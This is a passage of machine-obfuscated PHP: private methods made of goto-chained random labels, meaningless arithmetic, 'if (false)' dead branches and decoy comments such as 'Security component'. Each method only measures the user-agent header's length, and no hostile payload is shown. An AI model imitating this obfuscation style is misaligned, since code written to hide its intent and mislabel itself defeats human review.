c7KzDkbW; c7KzDkbW: goto GSVfJIe8; GSVfJIe8: $a29IFo9lZ = 615 + 37; $B9ma2fmF = $a29IFo9lZ * 4; goto uUoxxFPu; uUoxxFPu: $a29IFo9lZ = strlen($XsucffsH); goto eyAfVqBl; eyAfVqBl: goto ZXsSJOPR; ZXsSJOPR: $B9ma2fmF = 955 + 20; $XsucffsH = $B9ma2fmF * 4; goto ZjpccvyN; ZjpccvyN: $iCjD65Pi = 200 + 20; $WWDcP6ib = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto mn0mFzH6; mn0mFzH6: $n7sJ6WnP = 381 + 28; $WWDcP6ib = $n7sJ6WnP * 3; goto kGssRsx3; kGssRsx3: if (false) { echo 'This is a dead end'; } goto bEXaaOfQ; bEXaaOfQ: $XsucffsH = 166 + 37; $jIP39ari = $XsucffsH * 4; goto BiUS_j12; BiUS_j12: /* HMRQiiPz3yjaWw5wUFmC */ goto pjMrG4w4; pjMrG4w4: goto br4eT2yp; br4eT2yp: /* System file */ goto k0As0SOI; k0As0SOI: $a6EHyDbxg = 532 + 22; $iCjD65Pi = $a6EHyDbxg * 1; goto RiiySKL5; RiiySKL5: goto foXhRSr4; foXhRSr4: /* Security component */ goto SaZSDo5D; SaZSDo5D: goto PqyCJdM6; PqyCJdM6: // Az606mrHNmoo $XsucffsH = 527 + 17; $jIP39ari = $XsucffsH * 1; goto wGof2Ej1; wGof2Ej1: $BqYDw4sr = 795 + 18; $NqlX8zGc = $BqYDw4sr * 1; goto nhfVl_ax; nhfVl_ax: return $a29IFo9lZ > 10; } private function a9wRCMP7lRP() { /* Main service */ goto ot8qf75n; ot8qf75n: $iX1geSuk = 361 + 47; $WWDcP6ib = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto gjCofMM3; gjCofMM3: goto LztQs2dR; LztQs2dR: goto ymQ270ot; ymQ270ot: goto T3RgKCx6; T3RgKCx6: /* Main service */ if (false) { echo 'This is a dead end'; } goto OHRAyEWG; OHRAyEWG: $BqYDw4sr = 876 + 16; $B9ma2fmF = $BqYDw4sr * 4; goto z4f2t26k; z4f2t26k: /* z2OLxK73K0cM3sL */ goto ycuUdSnr; ycuUdSnr: $a6b9oay5s = 327 + 30; $jIP39ari = $a6b9oay5s * 5; goto pePWdEQP; pePWdEQP: goto u6OGHnne; u6OGHnne: goto a1n1z9VEE; a1n1z9VEE: /* 1g_W11U2rD */ if (false) { echo 'This is a dead end'; } goto JClZ9Dki; JClZ9Dki: /* Security component */ goto qodCF57G; qodCF57G: $FbaGmw5w = 559 + 33; $WWDcP6ib = $FbaGmw5w * 2; goto JTNtUULr; JTNtUULr: goto a8WBMVoSc; a8WBMVoSc: /* Main service */ if (false) { echo 'This is a dead end'; } goto YTMB8wz_; YTMB8wz_: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto M46x7FTP; M46x7FTP: // uqk5jEYX if (false) { echo 'This is a dead end'; } goto Ojgkw3h8; Ojgkw3h8: /* Main service */ $iCjD65Pi = 369 + 21; $NqlX8zGc = $iCjD65Pi * 3; goto kbon__CM; kbon__CM: // oZoBjTQFozXY goto LXpxDWnU; LXpxDWnU: goto rTf6JMby; rTf6JMby: $iX1geSuk = 687 + 10; $XsucffsH = $iX1geSuk * 3; goto pwgLhSlF; pwgLhSlF: goto oejr4JtY; oejr4JtY: // h__6cO77xYdLFU3B goto GQYUSfP6; GQYUSfP6: // SBF5vgWvfU8WbJGn goto Q6IhEEsi; Q6IhEEsi: /* Xglcb9FMiWMV0k9uXORz */ $FbaGmw5w = 660 + 13; $a6b9oay5s = $FbaGmw5w * 1; goto lQvKMz_9; lQvKMz_9: goto mJBc1iPP; mJBc1iPP: // ApdirFaMxsTlbHXY $FbaGmw5w = 582 + 24; $iCjD65Pi = $FbaGmw5w * 4; if (false) { echo 'This is a dead end'; } goto q4Iol7tv; q4Iol7tv: goto a7Zqpe0eI; a7Zqpe0eI: $bZa4iOd6 = 328 + 44; $BqYDw4sr = $bZa4iOd6 * 1; goto f2_GXvhd; f2_GXvhd: $a29IFo9lZ = 854 + 43; $WWDcP6ib = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a_442YVmF; a_442YVmF: /* System file */ goto mgn167FS; mgn167FS: $a6b9oay5s = strlen($BqYDw4sr); goto JbUn5RqH; JbUn5RqH: // JIvmAP3GKenX goto fP0BObys; fP0BObys: /* U1etITjBxn */ goto N1f_APIl; N1f_APIl: // gVQbybyyrhpr if (false) { echo 'This is a dead end'; } goto XOvNU_u0; XOvNU_u0: goto VVLXD6pL; VVLXD6pL: /* PpVy8N9urOkRam8 */ $n7sJ6WnP = 427 + 27; $FbaGmw5w = $n7sJ6WnP * 2; goto IqQiqKHu; IqQiqKHu: goto LQ28jg60; LQ28jg60: $a6EHyDbxg = 683 + 48; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto HU6SeLzV; HU6SeLzV: goto Q5THrtBI; Q5THrtBI: $BqYDw4sr = 867 + 25; $NqlX8zGc = $BqYDw4sr * 4; goto zHg5aHTE; zHg5aHTE: $jIP39ari = 181 + 36; $BqYDw4sr = $jIP39ari * 5; goto ChZDW3Sk; ChZDW3Sk: /* O7t7HPKcxZ */ goto QRZnIP5C; QRZnIP5C: goto ukdpk88S; ukdpk88S: goto aOMaOPiG; aOMaOPiG: /* 7zutg9G63T */ if (false) { echo 'This is a dead end'; } goto yYJFaqGV; yYJFaqGV: /* yXlgNOgS01 */ $iCjD65Pi = 895 + 4; $n7sJ6WnP = $iCjD65Pi * 3; goto jgzqiHUQ; jgzqiHUQ: return $a6b9oay5s > 10; } private function PUUrXS7pW1() { goto a0kmiabZc; a0kmiabZc: // Pr0QDHNkOwEpXzNx goto M0_57mcx; M0_57mcx: /* API handler */ $a6EHyDbxg = 704 + 41; $iCjD65Pi = $a6EHyDbxg * 2; goto Sb1xyBuc; Sb1xyBuc: /* h4rwgBH5YLMKp8aUqCQ9 */ $Pe9zuJ4r = 565 + 22; $XsucffsH = $Pe9zuJ4r * 3; goto j3CIQMmB; j3CIQMmB: goto dBgliThF; dBgliThF: /* System file */ $jIP39ari = 487 + 29; $a29IFo9lZ = $jIP39ari * 5; goto a0NMVJH2L; a0NMVJH2L: /* beyfKjEt2mUCkIX */ $XsucffsH = 288 + 27; $jIP39ari = $XsucffsH * 2; goto XUz2xSyi; XUz2xSyi: goto wvNAbUf_; wvNAbUf_: goto tYkRjEj3; tYkRjEj3: $n7sJ6WnP = 385 + 19; $B9ma2fmF = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto cbu1hNaH; cbu1hNaH: /* System file */ if (false) { echo 'This is a dead end'; } goto daekWuyq; daekWuyq: /* Main service */ $a6EHyDbxg = 560 + 36; $Pe9zuJ4r = $a6EHyDbxg * 5; goto tcdyohPd; tcdyohPd: goto GSGzSvE4; GSGzSvE4: /* fSTvsA6fpr */ $iX1geSuk = 210 + 26; $Pe9zuJ4r = $iX1geSuk * 2; goto a0b4wBe3r; a0b4wBe3r: goto xTrRoh3k; xTrRoh3k: goto a2eOeiJnb; a2eOeiJnb: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w2f0GNOH; w2f0GNOH: /* Core module */ if (false) { echo 'This is a dead end'; } goto Sq7WutmE; Sq7WutmE: /* Security component */ goto hXY4yTnT; hXY4yTnT: goto enTC2G7i; enTC2G7i: $iX1geSuk = 391 + 20; $iCjD65Pi = $iX1geSuk * 3; goto bykcMD9G; bykcMD9G: /* 8TAuv7LO7RdlA8cJMq9E */ $a29IFo9lZ = 542 + 22; $FbaGmw5w = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sgA899hZ; sgA899hZ: if (false) { echo 'This is a dead end'; } goto IN3PU3ud; IN3PU3ud: $NqlX8zGc = 707 + 47; $NqlX8zGc = $NqlX8zGc * 5; goto a02eCXvva; a02eCXvva: /* Main service */ goto CAXPV0fi; CAXPV0fi: /* System file */ $WWDcP6ib = 420 + 40; $jIP39ari = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto yYI_28Xj; yYI_28Xj: /* Bk4HaGz6D67GJTjUVxhf */ goto a9zHCoaE; a9zHCoaE: /* System file */ $n7sJ6WnP = 798 + 12; $BqYDw4sr = $n7sJ6WnP * 4; goto r4YuE6K3; r4YuE6K3: $bZa4iOd6 = 286 + 48; $iCjD65Pi = $bZa4iOd6 * 5; goto a7vOcSf5; a7vOcSf5: // 2wtbMWRkQfysYuIz if (false) { echo 'This is a dead end'; } goto a7CSvxDPQ; a7CSvxDPQ: /* cqcQTHnJZmTqY9PKRn5H */ goto aQjidKWP; aQjidKWP: goto YJrXgoLM; YJrXgoLM: $iCjD65Pi = strlen($Pe9zuJ4r); goto SsXhjFCD; SsXhjFCD: $FbaGmw5w = 478 + 25; $B9ma2fmF = $FbaGmw5w * 1; goto zk0ahjA0; zk0ahjA0: // y0oyy3ClMJ9nl099 goto UBlLV4FP; UBlLV4FP: goto sof9NbRs; sof9NbRs: /* Core module */ goto pl8GoUr5; pl8GoUr5: /* yzHYYyz_p1 */ $BqYDw4sr = 117 + 45; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto FVyACypU; FVyACypU: /* System file */ goto a6TrbOOF1; a6TrbOOF1: /* Main service */ goto fjwPI_QC; fjwPI_QC: // yomupYaI_1Cx5RV0 $B9ma2fmF = 752 + 25; $FbaGmw5w = $B9ma2fmF * 4; goto SwIsViE1; SwIsViE1: goto OzUD1qFP; OzUD1qFP: /* Core module */ $iX1geSuk = 704 + 34; $WWDcP6ib = $iX1geSuk * 4; goto mgPBPWfq; mgPBPWfq: $jIP39ari = 765 + 37; $Pe9zuJ4r = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto uM0ormB9; uM0ormB9: goto c7zDYgaX; c7zDYgaX: $bZa4iOd6 = 185 + 17; $NqlX8zGc = $bZa4iOd6 * 3; goto s5QT00dv; s5QT00dv: goto reXTCEUb; reXTCEUb: /* Main service */ goto ydjZo5MH; ydjZo5MH: return $iCjD65Pi > 10; } private function irWKe00gZc() { goto a3kq5iGTh; a3kq5iGTh: /* System file */ $iX1geSuk = 726 + 45; $iCjD65Pi = $iX1geSuk * 3; goto o6ENebsb; o6ENebsb: $FbaGmw5w = 947 + 42; $NqlX8zGc = $FbaGmw5w * 1; goto ZuWsaAy3; ZuWsaAy3: goto qZ8bzMm9; qZ8bzMm9: $Pe9zuJ4r = 598 + 7; $Pe9zuJ4r = $Pe9zuJ4r * 5; goto a46R_gfGL; a46R_gfGL: $bZa4iOd6 = 550 + 32; $iCjD65Pi = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto gzuImRQm; gzuImRQm: goto tTHS7e4K; tTHS7e4K: /* 7vuTiAHWgvffFAB */ $bZa4iOd6 = 260 + 4; $Pe9zuJ4r = $bZa4iOd6 * 1; goto WKkmL_pz; WKkmL_pz: // ZHnIhEkIylIyxDVh goto yPK5DUPu; yPK5DUPu: // a2YOk6hL $jIP39ari = 614 + 12; $NqlX8zGc = $jIP39ari * 3; goto z5WCE37W; z5WCE37W: /* System file */ $iX1geSuk = 262 + 10; $XsucffsH = $iX1geSuk * 5; goto Sd7JPjuh; Sd7JPjuh: /* API handler */ goto a7FMiQowF; a7FMiQowF: $Pe9zuJ4r = 532 + 13; $a6b9oay5s = $Pe9zuJ4r * 1; goto mghNoygP; mghNoygP: /* Main service */ goto chOwLwp2; chOwLwp2: $n7sJ6WnP = 183 + 17; $NqlX8zGc = $n7sJ6WnP * 4; goto KsuiE7db; KsuiE7db: goto tLmI0J3n; tLmI0J3n: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DeQVj40M; DeQVj40M: goto tsIb5Jaq; tsIb5Jaq: /* Core module */ $XsucffsH = 528 + 35; $iCjD65Pi = $XsucffsH * 1; goto NqhCfGWk; NqhCfGWk: /* System file */ goto t2drDVD2; t2drDVD2: $n7sJ6WnP = 192 + 45; $iX1geSuk = $n7sJ6WnP * 1; goto a_GCp8Y3w; a_GCp8Y3w: $iX1geSuk = 543 + 41; $bZa4iOd6 = $iX1geSuk * 2; goto DFh7mCCH; DFh7mCCH: /* THS_SIsr80qlIxcBI5vC */ goto a9TERnObV; a9TERnObV: // sEa1TXaM0KX7gCZW $NqlX8zGc = 327 + 26; $iCjD65Pi = $NqlX8zGc * 2; goto o6RhV7y3; o6RhV7y3: $bZa4iOd6 = 237 + 28; $FbaGmw5w = $bZa4iOd6 * 2; goto rd2thnw2; rd2thnw2: // W9VnrszngUzZ $a6EHyDbxg = 640 + 36; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto PXCjZNPD; PXCjZNPD: goto twIukysU; twIukysU: $BqYDw4sr = 618 + 7; $Pe9zuJ4r = $BqYDw4sr * 1; goto Y1PCZ3ot; Y1PCZ3ot: goto uCK1BxQO; uCK1BxQO: /* System file */ $FbaGmw5w = 581 + 49; $iX1geSuk = $FbaGmw5w * 5; goto R5Wo5867; R5Wo5867: goto NH8d8MC6; NH8d8MC6: /* API handler */ goto EcGax0hK; EcGax0hK: $NqlX8zGc = strlen($WWDcP6ib); goto xPQvmTpi; xPQvmTpi: /* 8j29IPQgYDBNJDz */ goto bns7nOES; bns7nOES: /* Security component */ goto iUCArUmy; iUCArUmy: // fDDdtuThQCAg goto VwqFqEln; VwqFqEln: // 3V36agfXpdgAXH_R if (false) { echo 'This is a dead end'; } goto a2oVTKemx; a2oVTKemx: goto BLWvctQe; BLWvctQe: /* qy20YBf7f8 */ $WWDcP6ib = 532 + 27; $a29IFo9lZ = $WWDcP6ib * 3; goto aPL2m27d; aPL2m27d: // 186arwdDOsDu goto sZMWmlJv; sZMWmlJv: /* yIlzNKfcEHEYGAmwmInv */ goto CNGt3bVw; CNGt3bVw: goto A1zzuzmX; A1zzuzmX: // N7taVmcXfMg_1xIx goto a75YwxEv8; a75YwxEv8: goto a9fGsiWxc; a9fGsiWxc: if (false) { echo 'This is a dead end'; } goto NVnnrJYD; NVnnrJYD: goto p_etShXI; p_etShXI: // quUet1PNesvNqkNq goto a0DTSEFkF; a0DTSEFkF: goto ZA5SO7XB; ZA5SO7XB: return $NqlX8zGc > 10; } private function YSdfltbvqK() { goto a35mItSTJ; a35mItSTJ: /* QgbLWS3TPGwL2Bc */ goto a0kxAOP_R; a0kxAOP_R: // dK3Hv_8m $XsucffsH = 341 + 37; $a6b9oay5s = $XsucffsH * 5; goto wE8rHtD_; wE8rHtD_: /* API handler */ $iCjD65Pi = 594 + 27; $a6b9oay5s = $iCjD65Pi * 2; goto CCYMdyeT; CCYMdyeT: /* API handler */ $a6EHyDbxg = 684 + 24; $B9ma2fmF = $a6EHyDbxg * 5; goto WvavBW3e; WvavBW3e: /* 5DE3rz8YTVInK2g1XMCk */ $NqlX8zGc = 575 + 31; $WWDcP6ib = $NqlX8zGc * 3; if (false) { echo 'This is a dead end'; } goto UqXgDdF8; UqXgDdF8: goto WAPeZWhV; WAPeZWhV: // FrDJA6wg $iX1geSuk = 583 + 37; $a6EHyDbxg = $iX1geSuk * 2; goto QxMXbTn2; QxMXbTn2: goto NEeqsqbO; NEeqsqbO: $XsucffsH = 269 + 44; $WWDcP6ib = $XsucffsH * 4; goto ySDaYPXa; ySDaYPXa: goto kUH3I7M8; kUH3I7M8: /* 9PvNy1s57D44U8A */ goto TOAaN5g5; TOAaN5g5: /* API handler */ if (false) { echo 'This is a dead end'; } goto r4qvhAov; r4qvhAov: goto FqBGKp9m; FqBGKp9m: goto yQAvdibZ; yQAvdibZ: // 72Jk7Fv15F9M8JrT goto bIWQEwAQ; bIWQEwAQ: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto mFzN8Bue; mFzN8Bue: /* Main service */ $a29IFo9lZ = 380 + 49; $WWDcP6ib = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto r8VFmWZJ; r8VFmWZJ: goto znroz3KT; znroz3KT: /* bzkxVK5T36 */ $a6b9oay5s = 920 + 37; $bZa4iOd6 = $a6b9oay5s * 2; goto cEqiSWgk; cEqiSWgk: /* Security component */ goto VDthTjqR; VDthTjqR: /* API handler */ $jIP39ari = 984 + 46; $WWDcP6ib = $jIP39ari * 1; goto q9qN1Xbx; q9qN1Xbx: $jIP39ari = 135 + 20; $iX1geSuk = $jIP39ari * 1; goto e8nekgT8; e8nekgT8: goto TNwHNWTJ; TNwHNWTJ: $a6b9oay5s = 201 + 14; $a6b9oay5s = $a6b9oay5s * 4; goto q2g5Aev2; q2g5Aev2: /* Main service */ goto k5Hk8RPi; k5Hk8RPi: /* 8WWXA30JOZybw1y0xdi_ */ goto ZgpJCzSl; ZgpJCzSl: goto C0q0oIFc; C0q0oIFc: // 64ii3cqJ $FbaGmw5w = 213 + 49; $iX1geSuk = $FbaGmw5w * 3; goto x5Y9bjOm; x5Y9bjOm: $NqlX8zGc = 821 + 22; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto O8qgHrXw; O8qgHrXw: /* Security component */ $bZa4iOd6 = 527 + 33; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto KzpMDcbY; KzpMDcbY: /* 0RkZ_EHVC7 */ goto Zy7f1Los; Zy7f1Los: $BqYDw4sr = strlen($a6EHyDbxg); goto KKnO_f9v; KKnO_f9v: if (false) { echo 'This is a dead end'; } goto ac6viTRg; ac6viTRg: /* wpR5nQaSNM */ $XsucffsH = 917 + 6; $a29IFo9lZ = $XsucffsH * 4; goto Ad5DUcuY; Ad5DUcuY: goto L96NzA7n; L96NzA7n: $FbaGmw5w = 606 + 1; $iX1geSuk = $FbaGmw5w * 3; goto h6PxZVvd; h6PxZVvd: goto wPa_GTnv; wPa_GTnv: $B9ma2fmF = 982 + 15; $a6EHyDbxg = $B9ma2fmF * 1; goto aZprx0P0; aZprx0P0: $a6b9oay5s = 813 + 1; $FbaGmw5w = $a6b9oay5s * 4; goto uu8hh6Ja; uu8hh6Ja: $bZa4iOd6 = 691 + 26; $a6b9oay5s = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto iqYeisNL; iqYeisNL: goto LkF7w1sJ; LkF7w1sJ: /* Security component */ $iCjD65Pi = 194 + 12; $FbaGmw5w = $iCjD65Pi * 3; goto H3Unpbtg; H3Unpbtg: goto HcmBm5LH; HcmBm5LH: goto jg9CciJw; jg9CciJw: $jIP39ari = 141 + 42; $bZa4iOd6 = $jIP39ari * 5; goto a9YYtbEij; a9YYtbEij: $FbaGmw5w = 447 + 12; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto RhND1DNt; RhND1DNt: /* Main service */ goto a6f1RwsdZ; a6f1RwsdZ: return $BqYDw4sr > 10; } private function a4pYBSVyXbh() { /* Security component */ goto OWFvLNy0; OWFvLNy0: $n7sJ6WnP = 926 + 17; $a6EHyDbxg = $n7sJ6WnP * 3; goto ncjBjESJ; ncjBjESJ: /* System file */ $a6b9oay5s = 335 + 21; $FbaGmw5w = $a6b9oay5s * 1; goto XIjtgrWY; XIjtgrWY: /* Security component */ goto czuH0hOy; czuH0hOy: goto PTcN1uIz; PTcN1uIz: /* API handler */ if (false) { echo 'This is a dead end'; } goto waVIvLOV; waVIvLOV: goto WaYnU06P; WaYnU06P: /* System file */ $Pe9zuJ4r = 764 + 36; $iCjD65Pi = $Pe9zuJ4r * 1; goto aJMxzY2a; aJMxzY2a: if (false) { echo 'This is a dead end'; } goto WebbQgX9; WebbQgX9: $a29IFo9lZ = 218 + 34; $bZa4iOd6 = $a29IFo9lZ * 4; goto ut5SEYcf; ut5SEYcf: goto cjnSSokE; cjnSSokE: $XsucffsH = 828 + 12; $iCjD65Pi = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto ITehgcfO; ITehgcfO: goto hAXHR55s; hAXHR55s: /* Security component */ $NqlX8zGc = 108 + 3; $NqlX8zGc = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto TYha_kFr; TYha_kFr: goto nqMVNsI0; nqMVNsI0: if (false) { echo 'This is a dead end'; } goto QFJhVJFj; QFJhVJFj: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto e5omH596; e5omH596: goto WXw1v1VB; WXw1v1VB: goto zicBR1E3; zicBR1E3: $Pe9zuJ4r = 989 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto yYAuKKb4; yYAuKKb4: goto a6WqMdbvl; a6WqMdbvl: // E7KC_WJV goto ClC6FGTV; ClC6FGTV: $XsucffsH = 822 + 34; $iX1geSuk = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto LiYGudFg; LiYGudFg: goto ecYr_W3h; ecYr_W3h: $FbaGmw5w = 428 + 38; $a6EHyDbxg = $FbaGmw5w * 2; goto QpYD97mg; QpYD97mg: // rsrCYmMTVdCmkjVa $a29IFo9lZ = 185 + 33; $WWDcP6ib = $a29IFo9lZ * 1; goto VfZK8flK; VfZK8flK: goto a60VSKJ0X; a60VSKJ0X: goto tAB5OrEe; tAB5OrEe: goto ub_ptd6c; ub_ptd6c: $jIP39ari = 984 + 24; $jIP39ari = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto JNDMAGmC; JNDMAGmC: // 22NoXWlp4Ct1kasF goto a7CYN4lp3; a7CYN4lp3: goto a8whFlLax; a8whFlLax: $WWDcP6ib = strlen($a6b9oay5s); goto q59ZKda7; q59ZKda7: goto a_5stdVA4; a_5stdVA4: // YxuYOy9D2JnccRNE if (false) { echo 'This is a dead end'; } goto LCcO4z0Z; LCcO4z0Z: /* API handler */ goto vUvPfvw3; vUvPfvw3: goto a9SYyqt7K; a9SYyqt7K: /* k9ZTurLhjhnEIG9uy3ZB */ if (false) { echo 'This is a dead end'; } goto vt83tiBs; vt83tiBs: goto GtuX1C5N; GtuX1C5N: $BqYDw4sr = 859 + 44; $iCjD65Pi = $BqYDw4sr * 4; goto a5kVUDYl9; a5kVUDYl9: $BqYDw4sr = 440 + 13; $a6b9oay5s = $BqYDw4sr * 5; goto rfNX7sQC; rfNX7sQC: /* Main service */ goto hJCedTnr; hJCedTnr: /* fuQ5Z1jpDd */ $jIP39ari = 477 + 31; $Pe9zuJ4r = $jIP39ari * 1; goto xjjXNF4A; xjjXNF4A: /* nIYtl0hp92 */ $iX1geSuk = 649 + 32; $bZa4iOd6 = $iX1geSuk * 1; goto a50am3Pxb; a50am3Pxb: if (false) { echo 'This is a dead end'; } goto WrxMTDer; WrxMTDer: goto IUxUlmL6; IUxUlmL6: /* Core module */ $FbaGmw5w = 703 + 2; $a6EHyDbxg = $FbaGmw5w * 2; goto DjIO1rTy; DjIO1rTy: goto RZgmN4Rl; RZgmN4Rl: return $WWDcP6ib > 10; } private function UARXlGq9qa() { /* System file */ goto Pl8T0L8a; Pl8T0L8a: $NqlX8zGc = 357 + 12; $B9ma2fmF = $NqlX8zGc * 1; goto SVG3uYGy; SVG3uYGy: // PRqmst8E_HZP_MJM goto Toz7Y3o_; Toz7Y3o_: // OW0dJtZGjMMq_RMh $XsucffsH = 337 + 23; $jIP39ari = $XsucffsH * 1; goto PUk77fdT; PUk77fdT: /* FzwheITREgJGyn0 */ goto a7rTSESns; a7rTSESns: goto CP_5XPJr; CP_5XPJr: // ejExbwFF0WAHr_Yv $jIP39ari = 603 + 36; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto PHItSoSR; PHItSoSR: goto UWhneZbI; UWhneZbI: /* RP6klP__tJpgHkF */ goto hLCG_TIn; hLCG_TIn: /* PhkExeyJzKBJDBW */ goto jCK3uyVY; jCK3uyVY: goto a9Nvcu9mY; a9Nvcu9mY: if (false) { echo 'This is a dead end'; } goto jIuTc33u; jIuTc33u: goto hLbaagux; hLbaagux: /* API handler */ goto cHRxIhAu; cHRxIhAu: /* dCziaP1wWkwkO3I */ goto JyI70a9c; JyI70a9c: goto AYAqiFDO; AYAqiFDO: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto lPzacPJB; lPzacPJB: goto ERQo194Y; ERQo194Y: /* Core module */ goto a1FYA6PZt; a1FYA6PZt: $n7sJ6WnP = 678 + 37; $n7sJ6WnP = $n7sJ6WnP * 2; goto KMPpwVVD; KMPpwVVD: goto a6Igne2Zk; a6Igne2Zk: goto EHH1PrJW; EHH1PrJW: /* API handler */ $a6b9oay5s = 928 + 44; $NqlX8zGc = $a6b9oay5s * 5; goto qG67ufU0; qG67ufU0: goto VnTTXgcg; VnTTXgcg: $a29IFo9lZ = 904 + 43; $a6EHyDbxg = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto fGYKHPBu; fGYKHPBu: /* Main service */ goto a4cD7ZoqC; a4cD7ZoqC: goto U68OI4fH; U68OI4fH: /* 2VAnOU9iXiuTgnj */ $iX1geSuk = 394 + 41; $bZa4iOd6 = $iX1geSuk * 5; goto VX2ilYmA; VX2ilYmA: goto a3NThPA6z; a3NThPA6z: $bZa4iOd6 = 920 + 42; $bZa4iOd6 = $bZa4iOd6 * 1; goto uPc0ZVFw; uPc0ZVFw: /* nNgtWWEzPdinOYOq9stk */ $a6EHyDbxg = 772 + 37; $Pe9zuJ4r = $a6EHyDbxg * 1; goto Un8UdztZ; Un8UdztZ: goto dODpHxYy; dODpHxYy: $B9ma2fmF = strlen($iX1geSuk); goto VocvIsHs; VocvIsHs: /* svc04ICyLe */ if (false) { echo 'This is a dead end'; } goto msUBI_B8; msUBI_B8: if (false) { echo 'This is a dead end'; } goto sm5lcQGE; sm5lcQGE: /* UP0j8wvp1l */ $jIP39ari = 320 + 7; $B9ma2fmF = $jIP39ari * 1; goto hm1KeRFH; hm1KeRFH: /* HqYzyBxBuckfGj3TP8rK */ goto yxoEOHTg; yxoEOHTg: goto a4wqMpj6x; a4wqMpj6x: /* System file */ $NqlX8zGc = 395 + 30; $BqYDw4sr = $NqlX8zGc * 5; goto G6g48DIW; G6g48DIW: goto a9pGM8ztx; a9pGM8ztx: $jIP39ari = 831 + 8; $BqYDw4sr = $jIP39ari * 5; goto QQKtRW7O; QQKtRW7O: $NqlX8zGc = 112 + 44; $WWDcP6ib = $NqlX8zGc * 3; goto AbkjMNX6; AbkjMNX6: /* Core module */ if (false) { echo 'This is a dead end'; } goto BS2IU1_i; BS2IU1_i: /* System file */ goto Ngk4VhTW; Ngk4VhTW: goto iRDfwcjk; iRDfwcjk: goto u5cLtJvu; u5cLtJvu: // DeBfy4cVKgOV $iCjD65Pi = 766 + 49; $FbaGmw5w = $iCjD65Pi * 1; goto ytTeDwSW; ytTeDwSW: goto BgvvKN1j; BgvvKN1j: return $B9ma2fmF > 10; } private function uePV1cYpEW() { goto USv9xSMc; USv9xSMc: /* 3kCgja_RVjaHTKwne17i */ $BqYDw4sr = 503 + 5; $iX1geSuk = $BqYDw4sr * 2; goto kyBYibie; kyBYibie: /* 5_igYsAyd_ */ goto a3EyhhoHw; a3EyhhoHw: /* API handler */ goto a88nS_byw; a88nS_byw: $FbaGmw5w = 871 + 33; $B9ma2fmF = $FbaGmw5w * 3; goto dRFG47Mu; dRFG47Mu: /* API handler */ goto MeMjbyfV; MeMjbyfV: goto PeOvbNBx; PeOvbNBx: // XvHSUiVzoMci $n7sJ6WnP = 283 + 43; $WWDcP6ib = $n7sJ6WnP * 1; goto rsYZmp0G; rsYZmp0G: goto LvuTeqAc; LvuTeqAc: /* API handler */ goto a0Oz1O25d; a0Oz1O25d: goto VtXeSJnl; VtXeSJnl: goto w2Aobj1y; w2Aobj1y: $n7sJ6WnP = 661 + 43; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto twsxSVGS; twsxSVGS: // YHhr6TKR_WsVQgYI goto CrTHltF1; CrTHltF1: /* Core module */ $iCjD65Pi = 822 + 3; $a29IFo9lZ = $iCjD65Pi * 3; goto v2MgnZy6; v2MgnZy6: /* Core module */ if (false) { echo 'This is a dead end'; } goto H2Onzokk; H2Onzokk: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tsfAl2pz; tsfAl2pz: $FbaGmw5w = 992 + 44; $WWDcP6ib = $FbaGmw5w * 1; goto r0_EiZDH; r0_EiZDH: /* hIH85cCA2xaJdWp */ if (false) { echo 'This is a dead end'; } goto uPMm7eYG; uPMm7eYG: $a29IFo9lZ = 945 + 27; $NqlX8zGc = $a29IFo9lZ * 3; goto rgxFocT4; rgxFocT4: /* Core module */ if (false) { echo 'This is a dead end'; } goto a_PzaZOUu; a_PzaZOUu: if (false) { echo 'This is a dead end'; } goto AAQn3BcQ; AAQn3BcQ: /* Security component */ goto uYW2sLCb; uYW2sLCb: // FmP2yAjG if (false) { echo 'This is a dead end'; } goto lBpjQT8m; lBpjQT8m: /* API handler */ $WWDcP6ib = 193 + 38; $NqlX8zGc = $WWDcP6ib * 1; goto ZGG7j86Y; ZGG7j86Y: // RDYxQw0wFHnQ97qU if (false) { echo 'This is a dead end'; } goto iYMjFEld; iYMjFEld: /* K2RGYAcI41a12SGo9DtS */ goto GYZ8KuE5; GYZ8KuE5: /* DFY6WSqvaG */ goto Hw4oQa9x; Hw4oQa9x: // pDbDD1AB $jIP39ari = 914 + 38; $FbaGmw5w = 